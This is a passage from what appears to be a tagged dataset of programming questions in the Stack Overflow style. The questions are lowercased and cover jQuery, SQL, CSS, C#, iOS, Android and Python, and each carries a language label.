</code></pre>,ruby-on-rails
focus over first classname element  i have a validation form. when php found errors  sends inputs with  error  class... for example:   <pre><code>&lt;input type= text  name= login  class= error /&gt; &lt;input type= password  name= pass /&gt; &lt;input type= text  name= email  class= error /&gt; </code></pre>   my question is  how i can set focus over first  error  class element with jquery  if i try this:   <pre><code>&lt;script type= text/javascript &gt;     if($( .error ).length != 0){$( .error ).focus();} &lt;/script&gt; </code></pre>   always sets focus over last element. thanks for help.,jquery
difference between these two ( usage of  using )  what is the difference between these two     <pre><code>// get response   using (httpwebresponse response = request.getresponse() as httpwebresponse)   {       // get the response stream       streamreader reader = new streamreader(response.getresponsestream());        // console application output       console.writeline(reader.readtoend());   }   </code></pre>   without using*   <pre><code>// get response   httpwebresponse response = request.getresponse() as httpwebresponse;   // get the response stream   streamreader reader = new streamreader(response.getresponsestream());    // console application output   console.writeline(reader.readtoend()); </code></pre>,.net
baffled by php escaping of double-quotes in html forms  i have a simple php script i use to front-end an sqlite database. it s nothing fancy or complex. but i have noticed from looking at the records in the database that anything i enter in a form-field with double-quotes comes across in the form-processing as though i d escaped the quotes with a backslash. so when i entered a record with the title:   <blockquote>    british light utility car 10hp  tilly   </blockquote>   what shows up in the database is:   <blockquote>    british light utility car 10hp \ tilly\   </blockquote>   i don t know where these are coming from  and what s worse  even using the following preg_replace doesn t seem to remove them:    <code>$name = preg_replace( /\\ /        $_request[ kits_name ]);</code>    if i dump out <code>$name</code>  it still bears the unwanted <code>\</code> characters.,php
javascript: typeof foovariable !==  undefined  vs foovariable  instead of doing ...   <pre><code>if (typeof some !==  undefined  &amp;&amp; some.thing.variable ===  somevalue ) </code></pre>   ... is it acceptable to just do the following    <pre><code>if (some &amp;&amp; some.thing.variable ===  somevalue ) </code></pre>,javascript
take image src from image tag into string variable  i have some html text which sometimes contains an image  e.g.   <pre><code>&lt;img src= imagename.jpg  alt= something  /&gt; </code></pre>   i know how to remove the whole image tag from the text  but i was looking to take the image src out of the text (and stored it in a db).    there is only one image in every piece of text  so just looking the src as a string variable.    anyone know how that could be done     thanks,asp.net
display icons and name of application for iphone application  how i can display all applications icons and name which are installed in device in my application,iphone
2 identical mysql select queries in if statement  first works second does not  i have the following 2 mysql select queries within a php if statement:   <pre><code>             if ($chooselocn ==  ) {               $query =                select $table.*  outcodepostcodes.lat  outcodepostcodes.lng              from $table               left join outcodepostcodes              on upper($table.postcode)=outcodepostcodes.outcode              where              $where_no_and              and               (hide= 0  or hide is null or hide=  )              order by rent $reihenach limit $offset  $rowsperpage               ;              }              else {               $query =                select $table.*  outcodepostcodes.lat  outcodepostcodes.lng              from $table              left join outcodepostcodes              on upper($table.postcode)=outcodepostcodes.outcode              where              $where_no_and              and              outcodepostcodes.lat &lt;= $latpoint              and               (hide= 0  or hide is null or hide=  )              order by rent $reihenach limit $offset  $rowsperpage               ;               } </code></pre>   the first query works but the second returns this error message:    query failed: you have an error in your sql syntax; check the manual that       corresponds to your mysql server version for the right syntax to use near  and   outcodepostcodes.lat &lt;= 51.491239000000000 and (hide= 0  or hide is null or  at line 8    even if i remove the:   <pre><code>and outcodepostcodes.lat &lt;= $latpoint </code></pre>   from the 2nd query making the two identical i still get similar error msg in the second.    any ideas greatly appreciated.,mysql
extracting data from array only last shown  i ve this model:   <pre><code>@interface data : nsobject @property (nonatomic  assign) int period;  @property (nonatomic  assign) nsdate *start; @property (nonatomic  assign) nsdate *end; @end  @implementation data @synthesize period  start  end; @end </code></pre>   i add data in mutable array.   <pre><code>@property (strong  nonatomic) nsmutablearray* myarray; self.myarray = [nsmutablearray arraywithcapacity:0];  data *element =[ [data alloc] init]; element.period = 1; element.start = datestart1; element.end = dateend1; [self.myarray addobject:element];  element.period = 2; element.start = datestart2; element.end = dateend2; [self.myarray addobject:element];  element.period = 3; element.start = datestart3; element.end = dateend3; [self.myarray addobject:element]; </code></pre>   why when extract period from array i receive only the last element x 3       <pre><code>data * numelement = [self.myarray valueforkey:@ period ]; nslog(@ all period: %@   numelement); </code></pre>   and i receive 3 3 3 instead of 1 2 3,objective-c
pseudo line between list elements   <a href= https://jsfiddle.net/2ffn3yth/  rel= nofollow noreferrer >js fiddle</a>    im trying to create a layout like:   <pre><code>one  --  two  --  three </code></pre>   the layout has pseudo lines between each of the list elements.   <pre><code>&lt;ul&gt;  &lt;li&gt;one&lt;/li&gt;  &lt;li&gt;two&lt;/li&gt;  &lt;li&gt;three&lt;/li&gt;  &lt;li&gt;four&lt;/li&gt; </code></pre>       from the fiddle i can get in the line  just having trouble positioning it equally between the list elements.,css
let int8_t num = -1. why does printf( %u   num) overflow to t_max32 instead of t_max8   <code>int8_t</code> is an 8-bit signed integer. therefore  its value is anywhere in the range [-128...127].    <pre><code>int8_t num = -1; printf( %u  num); </code></pre>   output:   <blockquote>    4294967295  </blockquote>   could someone give me a hint,c
mysql - specify a column value during insert with result of select  i m using mysql 5.7 and have a user table that looks something like this:   <pre><code>create table user (    id          int unsigned   not null auto_increment primary key      first_name  varchar(30)    not null                                 last_name   varchar(30)    not null                                 user_name   varchar(15)    not null unique                          email       varchar(100)   not null                                 phone       varchar(255)       null                                 address     varchar(100)       null                                 created_by  int unsigned   not null                                 created_on  timestamp      not null                                 modified_on timestamp          null                           ); </code></pre>   i insert one row into the table like this in order to create a kind of  admin  user for my application.   <pre><code>insert into user value (0   plm    admin    plm_admin     do_not_replay@my_company.com    111-222-3333   null  1  now()  null); </code></pre>   i then want to insert more users into the user table.  but when doing so  i want to specify that the  created_by  field is set to the id of the  system  user i just created   plm_admin .      here is an example of what i m trying to do:   <pre><code>insert into user value (0   steve    smith    ssmith     steve.smith@my_company.com    111-222-4444   null  select id from user where user_name =  plm_admin   now()  null); </code></pre>   this sql doesn t work  but hopefully you get the idea that when inserting the values for user steve smith  i want to specify the id for user  plm_admin  as the value for the  created_by  column.,mysql
validate file size using java script  i am trying to validate file size  which i am trying to upload by a file upload control. to validate the size of the file  i am using java script code. but it is throwing run time error. please somebody help me.   <pre><code>&lt;script language= javascript  type= text/javascript &gt;     function getsize() {         var myfso = new activexobject( scripting.filesystemobject );         var filepath = document.upload.file.value;         var thefile = myfso.getfile(filepath);         var size = thefile.size / (1024 * 1024);         alert(size +  mb );     } &lt;/script&gt; </code></pre>   error message : microsoft jscript runtime error: automation server can t create object,asp.net
rails syntax error with `count`  i have a basic to do app and am trying to show the most recent 4 lists on the homepage  then link to  see x more...  at the bottom.  the logic worked perfectly if there were 5 or more lists  but when there were 4 or fewer i would get  see 0 more...  or  see -3 more...  which obviously isn t right  so i added an if statement with the same basic components  but got this very complex syntax error:   <pre><code>syntax error  unexpected  )   expecting keyword_then or  ;  or  \n  ...end=( if @my_items.count &gt;= 5 );@output_buffer.safe_append=  ...                               ^ /users/.../app/views/home/index.html.erb:50: syntax error  unexpected keyword_end  expecting  )   .freeze;           end                         ^ /users/.../app/views/home/index.html.erb:103: syntax error  unexpected keyword_else  expecting  )   .freeze; else                ^ /users/.../app/views/home/index.html.erb:122: syntax error  unexpected keyword_end  expecting  )   .freeze; end               ^ /users/.../app/views/home/index.html.erb:125: syntax error  unexpected keyword_ensure  expecting  )  /users/.../app/views/home/index.html.erb:127: syntax error  unexpected keyword_end  expecting  )  </code></pre>   here s the code  with the problematic line indicated:   <pre><code>    &lt;% @top_items.each do |item| %&gt;       &lt;% if item.user_id == current_user.id %&gt;       &lt;p&gt;☐ &lt;%= item.name %&gt;&lt;/p&gt;       &lt;% end %&gt;     &lt;% end %&gt;     &lt;p class= text-center &gt;       &lt;%= if @my_items.count &gt;= 5 %&gt;   &lt;&lt;&lt;&lt;&lt;&lt;this is the problem line         &lt;%= link_to lists_path do %&gt;see &lt;%= @my_items.count.count - 4 %&gt; more...&lt;% end %&gt;       &lt;% end %&gt;     &lt;/p&gt; </code></pre>   just to clarify  if i comment out the problem line and it s corresponding `&lt;% end %> the page shows error free. anyone understand what is going wrong here,ruby-on-rails
how does `ungetch` work   i searched everywhere  but i cannot find the answer to this!  i m working on the exercise from the k&amp;r c books with a function they call <code>getop</code>.  when it peeks at the next character from the input and sees that it isn t a digit  where does the character get stored when <code>unget</code> is called   i can compile and run the code so i know it works  i just want to know where the character has been stored.   <pre><code>int getop(char s[]) {     int i  c;      while ((s[0] = c = getch()) ==     || c ==  \t )         ;     s[1] =  \0 ;     if (!isdigit(c) &amp;&amp; c !=  . )         return c; /* not a number */     i = 0;     if (isdigit(c)) /*collect integer part*/         while (isdigit(s[++i] = c = getch()))             ;     if (c ==  . ) /*collect fraction part*/         while (isdigit(s[++i] = c = getch()))             ;     s[i] =  \0 ;     if (c != eof)         ungetch(c);     return number; } </code></pre>,c
new device check api - objective c samples and docs  does any one have some good sample  objective c code - for the <strong>new ios 11 devicecheck api</strong>  i have seen some vague swift code.    looking for some good samples how to set this up and register the app id.    thx in advance,objective-c
access database changes didn t reflect on iis  i ve an asp.net application uses access database. i added a new table into database. i filled a dropdownlist with data that selected from the new table. the application works on my local machine. but after i deployed the application on iis there is no data in the dropdownlist. in a weird way the changes made to database didn t reflect to iis. is there any setting on iis i should set to make iis perceive the new table,asp.net
how do i add a preceding zero to single digits numbers and concatinate the columns so the date appears in one column  my query provides the following results:    select year  month  day from table   <pre><code>year    month   day ----    -----   --- 1999    10  9 2000    11  14 2003    6   4 2007    9   14 2008    9   30 1999    3   8 1999    5   27 1999    10  19 </code></pre>   i would like to have my results look like this:   <pre><code>date 19991009 20001114 20030604 20070914 20080930 19990308 19990527 19991019 </code></pre>,sql
how to speed-up drawrect   i m coding a map app for <strong>iphone</strong>  like google maps but with my own maps.      what i have so far is working  but sadly  slower than i would like.      i m basically drawing the correct map tiles in each <code>drawrect</code>:<br> <code>[image drawatpoint:cgpointmake(x  y)];</code>        x and y are being calculated in each call to <code>drawrect</code><br> ( these calcs are not very expensive ).        the maximum number of images being drawn at a time is 4.<br> each image is <code>512 x 512</code>.      i feel that some kind of optimization is lacking here.      can anyone help with something <br> thanks you all.,iphone
sql query for most connected  vertex   how does a query for a most connected vertex/tuple look like - who is the actor with the most movies      for example again the movies and actors sample tables:    <pre><code>movies (moviesid  title) actors (actorsid  name) relations (moviesid  actorsid)  </code></pre>   probably using inner joins  an example would be great - thanks,sql
convert video to gif  i m building an ios app which requires me to allow the users to record a 15sec clip (with <code>uiimagepickercontroller</code> for example) and then convert it into an animated gif. how could i achieve this  is there any library/framework available for such task     thanks!,iphone
not able to write to a file from windows service on windows server 2008 r2  i have a windows service which is writing to a file1.txt and windows service also refers to a dll. the dll also writes to a file2.txt. this works fine on when windows service deployed on my local machine.     on deploying the same code on windows server 2008 r2  i see only windows service writing to file1.txt and dll is not writing to file2.txt.     do need to do any seeting or i am missingany permission setting so that refered dll also writes to file on windows server 2008 r2.,c#
"hide / show lower-case characters  using just css is it possible to hide/select the lowercase characters of a string    <pre><code>&lt;p&gt;richard parnaby-king&lt;/p&gt; </code></pre>   to show only <code>rpk</code>     using <code>::first-letter</code> i can show only the letter <code>r</code>. is there any way to expand on this     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>p {
   font-size:0;
 }
 p::first-letter {
   font-size:16px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p&gt;richard parnaby-king&lt;/p&gt;</code></pre>
 </div>
 </div>
    <h3>edit</h3>   the intent is to animate the letters out. i.e. have a css animation that starts as <code>rpk</code> and expands to <code>richard parnaby-king</code> on hover.    i am not able to alter the html.    my current thinking is to change the font colour of the <code>p</code> tag to white (on white background)  create an <code>:after</code> element with the content  rpk  centred on the <code>p</code> tag and on <code>:hover</code> animate rotate the  rpk  90 degrees then <code>display:none</code> it (or something so that it is not visible)  rotate the <code>p</code> tag to 270 degrees and animate rotate it to finish at 360 degrees. the final effect is  rpk  rotating around and  richard parnaby-king  coming out of it. below i have  sort of  the effect i have described above but it doesn t hide/show the text correctly.    <div class= snippet  data-lang= js  data-hide= true >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>p {
   color: #fff;
   position: relative;
   text-align: center;
 }
 p:after {
   content:  rpk ;
   position: absolute;
   left: 0;
   top: 0;
   color:#000;
   text-align: center;
   width:100%;
 }
 p:hover {
   animation: pspin 1s forwards;
 }
 p:after:rhover {
   animation: pafterspin 0.5s forwards;
 }
 @keyframes pspin {
   0% {
     transform:rotatey(0deg);
     color:#fff;
   }
   50% {
     color:#000;
     transform:rotatey(270deg);
   }
   100% {
     transform:rotatey(360deg);
     color:#000;
   }
   
 }
 @keyframes pafterspin {
   0% {
     transform:rotatey(0deg);
     color:#000;
   }
   100% {
     transform:rotatey(90deg);
     color:#fff;
     z-index:-5
   }
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p&gt;richard parnaby-king&lt;/p&gt;</code></pre>
 </div>
 </div>",css
efficient algorithm for intersection of map disorderly using key  what is the most efficient way to intersect two maps by key     eg.: given   <pre><code>map&lt;int  float&gt; m1; map&lt;int  float&gt; m2;  m1[1] = 1.0; m1[2] = 4.0; m1[3] = 3.0; m1[7] = 5.0;  m2[7] = 3.0; m2[4] = 2.0; m2[2] = 4.0; m2[9] = 6.0; </code></pre>   i need an <code>vector&lt;int&gt;</code> with the result of the intersection!    the expected result will be: <code>2</code> and <code>7</code>,c++
how to toggle css media queries on and off  i am trying to set up link at the bottom of my website like this:   <pre><code>regular view | mobile view </code></pre>   right now the css file contains media query for regular and mobile views so it automatically adjusts depending on the screen size. how can i let the user control that with the links,css
c++ strings why cant be used as char arrays  <pre><code>int main() {         string a;      a[0] =  1 ;     a[1] =  2 ;     a[2] =  \0 ;      cout &lt;&lt; a; } </code></pre>   why doesn t this code work  why is it not printing the string,c++
div s width adjusting if another div is hidden or not   in my body i want two divs with content side by side that each has a width of 50% of the screen. but i want to be able to hide/show the first div and then the second divs width responds to this changing it s width to 100% or 50%. filling the body or the rest of the body depending on if the first div is hidden.    any ideas how to do this  (i know how to show/hide with jquery  im thinking of the html),html
checking a table is empty in rails  i m new to rails. i am creating a blog where people can post and comment. if there are no comments to a particular post  how can i show the message  no comments   i tried    <pre><code>@post.comments.any     no comments  :    </code></pre>   but it is not working.,ruby-on-rails
mysql data validation on insertion  i don t know if mysql (or any db for that matter) can do this  but i m assuming it can be done.    i have a table  with multiple fields.  one of these fields tracks the total number of available  items   and another holds how many are currently in use.    is it possible to validate incoming data in an update statement  such that the update will fail if the number of items in use would become greater than the total available   ie can i add numerical limits to a field based on the contents of another field,mysql
unable to set foreign key for my computed column  i can t set the foreign key for my advertisement table or should i say how do i add datatype for my computed column in employer table   error details below   <pre><code>create table employer (      no int  not null identity(1 1)      employerid as  eid + cast(no as varchar(50)) persisted not null         constraint pk_employer primary key clustered(employerid)      eusername char(20) not null      epassword char(20) not null      name varchar(20) not null      contact_number int not null      email char(20) not null      company_name char(30) not null      current_position varchar(30) null );  create table advertisement (     no int  not null identity(1 1)      advertisementid as  aid + cast(no as varchar(10)) persisted         constraint pk_advertisement primary key clustered(advertisementid)       employer_id varchar(10) foreign key references employer(employerid) not null      company_name varchar(30) not null      company_location char(30) null      job_position varchar(30)not null      job_description varchar(100) null      skills_requirement varchar(100) null      education_requirement char(50) not null      salary char(20) not null ); </code></pre>   this is the error i keep getting :    <blockquote>    msg 1753  level 16  state 0  line 27<br>   column  employer.employerid  is not the same length or scale as referencing column  advertisement.employerid  in foreign key  fk__advertise__emplo__07c12930 . columns participating in a foreign key relationship must be defined with the same length and scale.        msg 1750  level 16  state 0  line 27<br>   could not create constraint or index. see previous errors.  </blockquote>,sql
inserting values from array to table view  i hv an array    parsed from xml which looks like this    de> &lt;0>merkel &lt;1>appleiphone &lt;2>sag ich nicht &lt;3>youporn.com &lt;4>icq service &lt;5>sozialamt &lt;6>liebesengel &lt;7>hartz 4    i am able to set this list into table view s cell     but the problem is i am not able to break each entry for each cell..evrything is coming up in a ssingle row  how can i get each entry in each row     regards shishir,iphone
how to dismiss dialog when attached to activity   i have an app which contain <code>mainactivity</code>and that activity contains a <code>fragment</code> which send server request and during that i am showing a <code>progressdialog</code>. but while progress dialog is displaying  if i move from <code>mainactivity</code> to another activity it was giving me error <code> fragment not attached to activity </code>.     how can i resolve this issue     <strong>code:-</strong>   <pre><code>    /*this method send request to server for more deals*/ private void loadmoredata() {     if (mswiperefresh.isrefreshing()) {         mswiperefresh.setrefreshing(false);     }     try {         string json;         // 3. build jsonobject         final jsonobject jsonobject = new jsonobject();// making object of jsons.         jsonobject.put(serverrequestkeystorage.s_szagent_code  m_szmobilenumber);// put mobile number         jsonobject.put(serverrequestkeystorage.s_szpassword  m_szencryptedpassword);// put password         jsonobject.put(serverrequestkeystorage.s_szrecord_count  sz_recordcount);// put record count         jsonobject.put(serverrequestkeystorage.s_szlast_count  sz_lastcount);// put last count         log.d( capplist:   sz_recordcount);         log.d( capplist:   sz_lastcount);         // 4. convert jsonobject to json to string         json = jsonobject.tostring();// convert json object to  string         log.i(tag   server request:-  + json);         m_dialog = dialogutils.showprogressdialog(getactivity()  getstring(r.string.loading_more_deals));           requestqueue requestqueue = volley.newrequestqueue(getactivity());         final string imgpath = apistorage.irewards_url + apistorage.s_szimagepath;         final string m_deallistingurl = apistorage.irewards_url + apistorage.s_szdeallisting_url;         jsonobjectrequest jsonobjectrequest = new jsonobjectrequest(request.method.post  m_deallistingurl  jsonobject  new response.listener&lt;jsonobject&gt;() {             @override             public void onresponse(jsonobject response) {                 log.e(tag   server response:-  + response);                  activity activity = getactivity();                 if (activity!=null&amp;&amp;isadded()){                     m_dialog.dismiss();                 }                  try {                     int nresultcodefromserver = integer.parseint(response.getstring(serverresponsestorage.s_szresult_code));                      if (nresultcodefromserver == cstaticvar.m_ktransaction_success) {                         // select the last row so it will scroll into view...                         jsonarray posts = response.optjsonarray(serverresponsestorage.s_szdeal_array);// getting deal list                         for (int i = 0; i &lt; posts.length(); i++) {                             try {                                 jsonobject post = posts.getjsonobject(i);// getting deal at position at i                                 item = new cdealappdatastorage();// object create of dealappdatastorage                                 item.setm_szheadertext(post.getstring(serverresponsestorage.s_szdeal_name));//getting deal name                                 item.setm_szsubheadertext(post.getstring(serverresponsestorage.s_szdeal_code));// getting deal code                                 item.setm_szdealvalue(post.getstring(serverresponsestorage.s_szdeal_value));                                 item.setm_szdetails(post.getstring(serverresponsestorage.s_szdeal_details));                                 string logo = post.getstring(serverresponsestorage.s_szdeal_logo);                                 item.setm_szlogopath(imgpath + logo);                                 log.e(tag   logo path::  + item.getm_szlogopath());                                 if (!s_odataset.contains(item)) {                                     s_odataset.add(item);                                 }                             } catch (exception e) {                                 e.printstacktrace();                             }                         }                         m_oadapter.notifydatasetchanged();                         arraycount = posts.length();// finding length of deals coming in response from server.                         // read stored value from shared preference                         int n_olastcountlength = m_opreferencehelper.getintpreference(last_count_length);                         int accumulatelastcount = n_olastcountlength + arraycount;                           /*here we are saving deal length in shared preference*/                         // save incremental length                         m_opreferencehelper.saveintegervalue(last_count_length  accumulatelastcount);                         //                          m_listview.removefooterview(mfooter);                         m_listview.setselection(m_oadapter.getcount() - posts.length());                      }                      if (nresultcodefromserver == cstaticvar.m_kconnection_lost) {//server based conditions                         csnackbar.showsnackbarerror(m_mainlayout  getstring(r.string.connection_not_available)  getactivity());                        //                           m_listview.removefooterview(mfooter);                     } else if (nresultcodefromserver == cstaticvar.m_kdeal_not_found) {// serevr based conditions .....                         csnackbar.showsnackbarerror(m_mainlayout  getstring(r.string.no_more_deals)  getactivity());                       //                            //*counting loading footer*/                      //                         if (m_listview.getfooterviewscount() != 0) {                     //                              m_listview.removefooterview(mfooter);                    //                           }                     } else if (nresultcodefromserver == cstaticvar.m_ktechnical_failure) {                         csnackbar.showsnackbarerror(m_mainlayout  getstring(r.string.technical_failure)  getactivity());                     } else if (nresultcodefromserver == cstaticvar.m_kalready_avail_benefit) {                         csnackbar.showsnackbarerror(m_mainlayout  getstring(r.string.already_avail_deals)  getactivity());                     } else if (nresultcodefromserver == cstaticvar.m_ktimed_out) {                         csnackbar.showsnackbarerror(m_mainlayout  getstring(r.string.times_out)  getactivity());                 //                          m_listview.removefooterview(mfooter);                     } else if (nresultcodefromserver == cstaticvar.m_kerror_in_db) {                         csnackbar.showsnackbarerror(m_mainlayout   something happened wrong in db. please contact support@starxsoft.com   getactivity());                     }                 } catch (jsonexception e) {                     e.printstacktrace();                 }             }         }  new response.errorlistener() {             @override             public void onerrorresponse(volleyerror error) {                 log.e(tag   server error::  + error);                 activity activity = getactivity();                 if (activity!=null&amp;&amp;isadded()){                     m_dialog.dismiss();                 }                 if (error instanceof timeouterror) {                     csnackbar.showsnackbarerror(m_mainlayout  getstring(r.string.connection_timed_out)  getactivity());                 } else if (error instanceof networkerror) {                     csnackbar.showsnackbarerror(m_mainlayout  getstring(r.string.no_internet_warning)  getactivity());                 }             }         });         requestqueue.add(jsonobjectrequest);     } catch (jsonexception e) {         e.printstacktrace();     } } </code></pre>   in this during dismiss and showing a dialog it gives me error.,android
are const fields converted to static fields at compile time   why can i call <code>thefakestaticclass.fooconst</code>   like it s static  when it s not declared static     are const fields converted to static fields at compile time  (i understand that you can t change a <code>const</code> and hence you only need  one instance . i ve  used many const s before like <code>math.pi</code> but never thought about before  and now i do and now i am curious.   <pre><code>namespace consttest {     class program     {         class thefakestaticclass         {             public const string fooconst =  iamaconst ;         }          class therealstaticclass         {             public static string foostatic =  iamstatic ;         }          static void main()         {             var fc = thefakestaticclass.fooconst; // no error at compile time!             var fs = therealstaticclass.foostatic;             var p = new program();             p.testinanonestaticmethod();         }          private void testinanonestaticmethod()         {             var fc = thefakestaticclass.fooconst;             var fs = therealstaticclass.foostatic;         }     } } </code></pre>,c#
centering div with ie  i am trying to center a div  with <code> margin:auto </code> . it works fine with chrome and ff but the following code does not center the div with ie:    css   <pre><code>#container {  margin:auto;  width:950px;  height:50px;  background:#000; } </code></pre>   html   <pre><code>&lt;div id= container &gt;&lt;/div&gt; </code></pre>   what am i doing wrong     thanks     joel   <hr>   edit (full html/css code):   <pre><code>&lt;html&gt; &lt;head&gt; &lt;link rel= stylesheet  type= text/css  href= http://yui.yahooapis.com/3.2.0/build/cssreset/reset-min.css &gt; &lt;style&gt;  #container {  margin: 0 auto;   width:950px;  height:50px;  background:#000; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= container &gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
list item first row not aligning properly  i have this unordered list    <a href= http://neaen.com/frying/neaen-masterfry-continuous-fryer.html  rel= nofollow >http://neaen.com/frying/neaen-masterfry-continuous-fryer.html</a>    whichever combination i tried using firebug  i can t get the first row to align properly. i am sure this is an easy fix  but i am missing it somehow.,css
progress bar and playlist in media player  how can i create a progress bar and a playlist for a media player  i m making my own media player in c#.    here is the code to play a file   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms; using quartztypelib; using system.runtime.interopservices;  namespace trying { public partial class form1 : form {     [dllimport( winmm.dll )]     public static extern int waveoutgetvolume(intptr hwo  out uint dwvolume);      [dllimport( winmm.dll )]     public static extern int waveoutsetvolume(intptr hwo  uint dwvolume);      public form1()     {         initializecomponent();     }     // define constants used for specifying the window style.     private const int ws_child = 0x40000000;     private const int ws_clipchildren = 0x2000000;     // hold a form-level reference to the media control interface      // so the code can control playback of the currently loaded     // movie.     public imediacontrol  mc =null;     public imediaposition m=null;     // hold a form-level reference to the video window in case it     // needs to be resized.     public ivideowindow videowindow = null;     public int a;      private void button1_click(object sender  eventargs e)     {         if (mc != null)         {             mc.run();         }     }      private void button2_click(object sender  eventargs e)     {         mc.stop();     }      private void button3_click(object sender  eventargs e)     {         mc.pause();     }      private void trackbar1_scroll(object sender  eventargs e)     {         //calculate the volume that s being set      int newvolume = ((ushort.maxvalue / 10) * trackbar1.value);      // set the same volume for both the left and the right channels      uint newvolumeallchannels = (((uint)newvolume &amp; 0x0000ffff) | ((uint)newvolume &lt;&lt; 16));      // set the volume      waveoutsetvolume(intptr.zero  newvolumeallchannels);     }      private void newfiletoolstripmenuitem_click(object sender  eventargs e)     {         // allow the user to choose a file.         openfiledialog openfiledialog = new openfiledialog();         openfiledialog.filter =          media files|*.mpg;*.avi;*.wma;*.mov;*.wav;*.mp2;*.mp3|  +          all files|*.* ;         if (dialogresult.ok == openfiledialog.showdialog())         {             // stop the playback for the current movie  if it exists.             if (mc != null) mc.stop();             // load the movie file.             filgraphmanager graphmanager = new filgraphmanager();             graphmanager.renderfile(openfiledialog.filename);             // attach the view to a picture box on the form.             try             {                 videowindow = (ivideowindow)graphmanager;                 videowindow.owner = (int)picturebox1.handle;                 videowindow.windowstyle = ws_child | ws_clipchildren;                 videowindow.setwindowposition(                 picturebox1.clientrectangle.left                  picturebox1.clientrectangle.top                  picturebox1.clientrectangle.width                  picturebox1.clientrectangle.height);             }             catch             {                 // an error can occur if the file does not have a video                 // source (for example  an mp3 file).                 // you can ignore this error and still allow playback to                 // continue (without any visualization).             }              // start the playback (asynchronously).             mc = (imediacontrol)graphmanager;             mc.run();         }     } </code></pre>   i want this to work   <pre><code>this.progressbar2.value =(int) m.currentposition; </code></pre>   but it doesn t work.,c#
objective-c and cocotron  is it truly a good api which can actually be used to develop applications for the iphone in linux  the main reason i ask is because i really want to learn objective-c  but also be able to port it to something as well.,objective-c
binary semaphores and buffers to sequentially print  i m attempting to print a combination of characters.     character 1 and 2 must be in sequence as follows: 1212121212. character 3 prints intermittently  but must not exceed character 2.    i have managed the first part of the task (1 and 2)  but struggling with the introduction of 3. i know i need to use a counting semaphore to crack it.    this is for school  so please could you avoid pasting any code and just give me some pointers  i m just showing two classes: my buffer  and threads that print the characters.    thanks.   <pre><code>public class printlettera extends thread {     private char letter;    private buffer buffer;     public printlettera(char letter  buffer b) {       this.letter = letter;       buffer = b;    }     public void run() {        while (true) {          if (letter ==  f ) {              object a = new object();              buffer.put(a);              system.out.println(   + letter);              try {                  thread.sleep( (int) math.random() * 100);              } catch (interruptedexception e) {                  e.printstacktrace();              }         } else if (letter ==  g ){              object a = buffer.get();              system.out.println(   + letter);                         try {                 thread.sleep( (int) math.random() * 100);              }  catch (interruptedexception e) {                 e.printstacktrace();              } </code></pre>  <hr>  <pre><code>public class buffer {      private object message = null;      binarysemaphore fbinary = new binarysemaphore(1);     binarysemaphore gbinary = new binarysemaphore(0);       public synchronized  void put(object message) {           try {                fbinary.p();           } catch (interruptedexception e) {               e.printstacktrace();           }            this.message = message;           gbinary.v();    }    public synchronized object get() {         try {          gbinary.p();        } catch (interruptedexception e) {          e.printstacktrace();        }         object m = message;        fbinary.v();        return m;   } </code></pre>,java
why am i unable to assign to a particular element in a list of lists  i don t understand why i am assigning to the first element in every list below:   <pre><code>➜  ~  python python 2.7.3 (default  sep 26 2012  21:53:58)  [gcc 4.7.2] on linux2 type  help    copyright    credits  or  license  for more information. &gt;&gt;&gt; board = [[none]*5]*5 &gt;&gt;&gt; print board [[none  none  none  none  none]  [none  none  none  none  none]  [none  none  none  none  none]  [none  none  none  none  none]  [none  none  none  none  none]] &gt;&gt;&gt; board[0][0] = 1 &gt;&gt;&gt; print board [[1  none  none  none  none]  [1  none  none  none  none]  [1  none  none  none  none]  [1  none  none  none  none]  [1  none  none  none  none]] </code></pre>   i would expect the final output to be this:   <pre><code>[[1  none  none  none  none]  [none  none  none  none  none]  [none  none  none  none  none]  [none  none  none  none  none]  [none  none  none  none  none]] </code></pre>,python
update a table but only non duplicate records  table a   <pre><code>name  street  city  state  zip bill  123 main  newcity  null  77777 bill  123 main  newcity  null  77777 fred  23 west  greattown  null  12345 bob  4 a st  nowhere  null  34567 </code></pre>   table b   <pre><code>name  street  city  st  zip bill  123 main  newcity  me  77777 bill  123 main  newcity  me  77777 fred  23 west  greattown  ny  12345 bob  4 a st  nowhere  wy  34567 </code></pre>   i want to do   <pre><code>update table a set state = tb.st from  table a ta inner join table b tb on (ta.name = tb.name and ta.street = tb.street) </code></pre>   but i dont want to update the 2 records  bill  123 main  newcity  null  77777 .    how do i exclude those rows from the tables     thanks charles,sql
objectivec set shadow to parent view  i want to set shadow to parent view. but i want child views to remain the same.    what i do now is    <pre><code>parentview.layer.shadowradius = 0.8; parentview.layer.shadowopacity = 0.3; parentview.layer.shadowoffset = cgsizemake(1.0  1.4); </code></pre>   however  if i do this  the child views are also changed. is there a way to set the shadow but keep the child views the same.    thank you,objective-c
css horizontal list not shown horizontal in firefox on chrome  hi i m trying to create a toolbar using ul and li elements  everything works good on ie8 but when i render the page in google chrome o firefox the elementos does not show in horizontal way. here is the css i m using for the toolbar.   <pre><code>div.toolbar {     padding: 4px; }  div.toolbar ul {     list-style: none;     margin: 0px;     padding: 0px 10px 0px 0px;     width: 100%; }  div.toolbar ul li a  div.leftmenu ul li a:visited {     border: 1px solid #f0f5f8;     display: block;     line-height: 1.35em;     padding: 5px 5px;     text-decoration: none;     white-space: nowrap;     float: left; }  div.toolbar ul li a:hover {     background-color: #ffff99;     border: 1px solid #ffcc00;     text-decoration: none;     padding-right: 5px;     float: left; }  div.toolbar ul li a:active {     border: 1px solid #f0f5f8;     text-decoration: none;     float: left; }   &lt;div class= toolbar &gt;     &lt;ul&gt;         &lt;li&gt;             &lt;asp:linkbutton id= lnknuevaorden  runat= server  visible= false &gt;                 &lt;img runat= server  id= img12  border= 0  src= ~/images/icons/action_add.gif  /&gt;                 nuevo registro             &lt;/asp:linkbutton&gt;         &lt;/li&gt;          &lt;li&gt;             &lt;asp:linkbutton id= lnkcambiarcontrasena  runat= server  visible= false  causesvalidation= false &gt;                 &lt;img runat= server  id= img11  src= ~/images/icons/login.gif  